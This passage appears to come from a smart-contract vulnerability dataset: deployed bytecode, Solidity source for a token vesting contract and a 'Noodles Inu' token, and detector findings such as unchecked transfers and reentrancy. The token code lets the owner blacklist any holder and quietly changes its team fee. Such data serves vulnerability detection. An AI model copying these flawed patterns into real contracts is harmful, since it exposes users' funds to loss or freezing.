ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156117d2576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611866565b6117e583826116a890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff1615611a3e57600360159054906101000a900460ff161515611a3857600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a285750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611a3357600080fd5b611a3d565b600080fd5b5b611a48838361200b565b905092915050565b6000611ae182600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611c8957600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611cd757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611d6257600080fd5b611db482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e4982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f1b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561204857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561209657600080fd5b6120e882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116a890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061217d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222f90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080828401905083811015151561224357fe5b80915050929150505600a165627a7a7230582010c553c070be4254fe67aa8c359580cfb22749360128c1fe32b35dbfbc2279b30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,289 |
0x526C6cD56A19A1dc01b703C9423685abdc9d8623
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,290 |
0x0a115ae843d0fae277cf847a7b20dfe963134924
|
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
//Noodles Inu ($NoodlesInu)
//Limit Buy
//Cooldown
//Bot Protect
//Liqudity dev provides and lock
//TG: https://t.me/noodlesinu
//Twitter: https://twitter.com/criptopaulinu
//Website: TBA
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NoodlesInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Noodles Inu";
string private constant _symbol = "NoodlesInu";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (2 minutes);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
